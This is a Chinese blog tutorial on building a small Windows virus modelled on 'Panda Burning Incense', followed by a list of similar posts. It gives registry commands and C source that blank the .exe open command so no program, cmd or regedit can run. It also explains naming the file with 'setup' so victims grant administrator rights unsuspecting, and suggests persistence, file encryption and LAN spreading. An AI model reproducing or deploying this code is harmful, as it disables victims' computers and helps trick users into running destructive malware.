众所周知,熊猫烧香是一个威力强大的病毒.曾经的电脑只要被感染以后就只有重装系统这条路. 当然,现在可能对这种病毒已经有所防御,所以威胁没有以前那么大了. 熊猫烧香一个比较明显的特点就是会感染所有exe可执行文件. 当然,其他一些功能也很牛逼,但是无奈我水平有限,目前只能做到感染exe文件.不过如果你们愿意,可以将电脑上的任何类型文件进行感染,我这次仅仅是用exe文件做示范.

一.预先要知道的东西

我们这个病毒实现的原理是对注册表进行下手. 众所周知,注册表是系统的核心,我们所有的设置都保存在注册表里面.因此,没事干千万不要乱动注册表.

我们在"运行"中输入"regedt"即可打开注册表,如图.

要想学习注册表,我可以教你们个方法:直接将图中的每一个项的名称去百度,第一条里面就写的很详细,每个项时干什么的都会有.

比如我想直到HKEY_CLASSES_ROOT这一项的详细作用,就可以直接搜这个,如图.

百度百科写的很详细了已经,所以我就不赘述了. 当然,学习一定要有总结的习惯.

下图是我在学习注册表的时候总结的一些比较关键的东西,如图.

这里面包括了病毒启动项的位置,以及各种可能用的到的地方.这个就看你们的脑洞了.

现在想一个问题: 当你点开一个exe程序或者一个txt文本的时候,系统是怎么知道你点开的是什么呢?它怎么知道txt文本是用文本编辑器打开呢?

原因就是我们的注册表. 我们的注册表里面的某个位置对我们按照某个程序打开文件的操作进行了记录. 比如,我们想知道.exe程序是以什么方式打开,

我们可以查看一下位置:

HKEY_CLASSES_ROOT.exe

可以看到默认里面写了个exefile.我们继续寻找exefile.

我们看到exefile下面有三个子项:

第一个DefualtIcon代表程序图标是什么.

第二个shell/open/command代表打开程序会执行什么命令.

第三个我们不用关心.

这里有个很好的例子,说的是当你自己新建一个随便的后缀名,然后想以某个程序打开,如何进行注册表的修改.

链接附上.

https://blog.csdn.net/a302549450/article/details/84308175

这个是必须要看的.我们后面的东西就是根据这个基础做出来的,大家可以在自己的虚拟机上试一下.

二.使用命令修改注册表

cmd中专门有一个命令是进行修改注册表.名称是reg.我们可以看下用法.

可以看到有12个参数.我们用到的是add这个修改参数. 比如,我们想将exe文件的图标改没,可以这样写:

reg add HKEY_CLASSES_ROOT\exefile\DefaultIcon /ve /d "" /f

我解释一下这个命令.

reg add就不用说了,在注册表中添加的意思.

HKEY_CLASSES_ROOT,是exe文件图标的引用位置.

/ve,使用默认名新建值.

/d "",设置新建项的值.

/f,不用进行确实强行写入.

当然,我们这个是将原来的值覆盖了,不能叫做新建.

执行结果我懒得截图了,你们自己想象吧.其他参数你们也可以进行一下研究,都很有意思.

改图标的我这头不知道为什么没有实现成功.原因我也不太清楚,你们可以自己想想为什么. 或许是需要重启一下?我也没试

三.病毒实现效果

先放结果图.执行以后,随便点一个exe程序,就会出现打不开exe文件的情况.

我试了试注册表,好吧,也打不开了.

很尴尬的是.....cmd也打不开了,本来还想用命令恢复,看来也不行了.

我想到的解决方法就是进入安全模式,或者是重装系统等等.

由于是我win7虚拟机,所以我直接恢复镜像了. 这里先说明一下原理.

我们的注册表中记录了所有我们系统的配置信息.

当我们修改上面我给出位置的信息的时候,将command的值改成空,当我们执行exe文件的时候系统就不知道改用什么打开了,所以会报错.

我这个仅仅是进行了一个简单的修改,如果你比较狠,甚至直接将注册表删掉都行,这样电脑就直接废了,连机都开不了.

你还可以改些别的,比如我在开始给的图片中某条记录是关于你电脑中的所有win32程序的安装位置.根据这个,我们是不是还可以干点别的坏事呢?

把这些学明白了,简直为所欲为了.

四.命令 一共是两条.

reg add HKEY_CLASSES_ROOT\\exefile\\DefaultIcon /ve /d "" /freg add HKEY_CLASSES_ROOT\\exefile\\shell\\open\\command /ve /d "" /f

具体我就不解释了,上面有.

这两条命令执行以后,就会出现如图的效果.

当然,这个是有限制的,需要以管理员身份运行.

不过在win2003上面是没有限制的,win7有,其他系统我没测试. 我倒是想到了一个解决方法,后面我会写.

五.C代码实现

会c语言的都知道system命令吧?我之前有一篇文章里面做了三个小病毒,原理就是这个.

不说废话,直接上代码.

#include#includeint main(){ system("reg add HKEY_CLASSES_ROOT\\exefile\\DefaultIcon /ve /d \"\" /f"); system("reg add HKEY_CLASSES_ROOT\\exefile\\shell\\open\\command /ve /d \"\" /f"); return 0;}

由于需要考虑到转义字符的关系,所以我将cmd命令稍微修改了一下.

还记得那会儿说的关于管理员的事情吗? 我试了一下,如果不以管理员方式打开,会出现以下提示:

仅仅以右键管理员方式打开才能正常运行.但是哪个人看到这个不会怀疑呢?

所以我想到了windows系统的一个特点:会把包含setup文件名的文件当作安装程序.

因此,我们把文件改成包含setup文件名即可,然后点击运行.

当然,仍然会提示需要管理员权限,但是这样不是正常了很多么?

许多软件安装的时候都是这样,所以一般人没人会想到这是个病毒程序.

在HKEY_CLASSES_ROOT里面的后缀名都是可以修改的,你可以写个程序,先读取注册表中所有的后缀,然后按照上面的方法进行修改,这样改完电脑上面的任何文件都无法打开.

你还可以将这个程序添加到注册表中的启动项中,之后对文件进行一个加密,又或者写个扫描器然后对局域网内的电脑进行传播,等等等等.......

c语言强制写注册表,:注册表的认识以及用c语言编写一个“百分之一熊猫烧香”...相关推荐

  1. 病毒:注册表的认识以及用c语言编写一个“百分之一熊猫烧香“

    好久不更新了,这次来点干货. 众所周知,熊猫烧香是一个威力强大的病毒.曾经的电脑只要被感染以后就只有重装系统这条路. 当然,现在可能对这种病毒已经有所防御,所以威胁没有以前那么大了. 熊猫烧香一个比较 ...

  2. c语言熊猫病毒源代码,病毒:注册表的认识以及用c语言编写一个“百分之一熊猫烧香”...

    众所周知,熊猫烧香是一个威力强大的病毒.曾经的电脑只要被感染以后就只有重装系统这条路. 当然,现在可能对这种病毒已经有所防御,所以威胁没有以前那么大了. 熊猫烧香一个比较明显的特点就是会感染所有exe ...

  3. 单片机红外线c语言,自己写的51单片机的红外线遥控接收程序(C语言)

    自己写的51单片机的红外线遥控接收程序(C语言) (6页) 本资源提供全文预览,点击全文预览即可全文预览,如果喜欢文档就下载吧,查找使用更方便哦! 11.90 积分 //51单片机做的红外遥控实验(C ...

  4. c语言怎么写出2次元方程,三次樣条C语言的实现.doc

    三次樣条C语言的实现 实验二 .三次样条C语言的实现 1.实验目的: 进一步熟悉三次样条插值法. 掌握编程语言字符处理程序的设计和调试技术. 2.实验要求: 已知:某些点的坐标以及初值条件. 输入:条 ...

  5. c语言怎么写到单片机里,哪位师傅知道51单片机怎样编写子程序?C语言的。在主程序里调...

    该楼层疑似违规已被系统折叠 隐藏此楼查看此楼 /**************************************************************************** ...

  6. C语言手写SDS字符串的实现思路

    C语言手写SDS字符串的实现思路 Simple Dynamic Strings (简称 SDS) 是一个 C 语言封装的的字符串,它增强了 C 语言字符串处理的能力. SDS 的 C 语言实现通常包括 ...

  7. C语言(CED)编写一个程序,求两个字符之间的加减运算。

    (请先看置顶博文)https://blog.csdn.net/GenuineMonster/article/details/104495419 复习C语言,不同的心境遇到了不同的问题: 问题: 编写一 ...

  8. VBS带你领略脚本语言的快乐!(注册表篇)

    用VBS操作注册表 前言    先前我们解了了VBS入门知识和VBS基础知识,但那些都比较low,我相信在这高级语言统治的信息社会,转过头来学脚本的人,目的肯定不单纯.就像我当年就是因为它可以做一些恶 ...

  9. 用java写注册表单_利用HTML表单标签编写一个注册页面

    今天我们来写一个注册页面 form表单 先来利用表单标签制作一个简单的注册页面,给大家说说标签的结构: 页面结构大体就是这样子的~ 利用HTML表单标签编写一个注册页面 表单标签: 所有需要提交到服务 ...

最新文章

  1. 云服务器操作系统怎么安装,云服务器上怎么安装操作系统
  2. 关于mybatis的xml文件中使用 >= 或者 <= 号报错的解决方案
  3. VLAN之间ACL和VACL的区别
  4. 进入“高画质手游时代”?《天谕》手游首次采用的这项技术有多强大
  5. 自动计算高度的方法 iOS, height为0, 可以自动计算weith,
  6. NATSserver配置具体解释
  7. 凸优化-真锥和分割超平面
  8. 矩阵的秩(Rank)
  9. c语言读取文件指定行和列
  10. STM32cubemx教程及STM32入门(四)串口通信
  11. 算法导论 9.3-7 设计一个O(n)时间的算法,对于一个给定的包含n个互异元素的集合S和一个正整数k≤n,该算法能够确定S中最接近中位数的k个元素。
  12. 2020COSMO时尚盛典即将闪耀启幕
  13. 设置iPhone来电铃声(图文教程)
  14. 神经网络相关性系数r公式,神经网络预测数据
  15. 梅尔倒谱分析MFCC
  16. 002稀疏数组和队列[超大章]
  17. Windows 10 (Multiple Editions), Version 1607
  18. 【行研资料】智能家居的未来(英文)——附下载
  19. 了解一下ISO 8601是什么
  20. 跑faster-rcnn pytorch版本踩的坑

热门文章

  1. Java模拟发送post请求
  2. 线元法输入曲线要素_DELMIA软件物流仿真:带曲线转角输送带输送物料的仿真操作方法...
  3. Jvm面试题及答案(300道 Jvm面试题大全带答案)
  4. redis集群方式及高可用架构
  5. Java 反射6-动态代理模式
  6. ip和端口号的正则表达式
  7. matlab归一化函数,以及还原归一化。
  8. 何金龙 mysql_[译文]MySQL发生死锁肿么办?by何金龙
  9. Python——柱状图(条形图、堆叠图)
  10. app抓包分析sign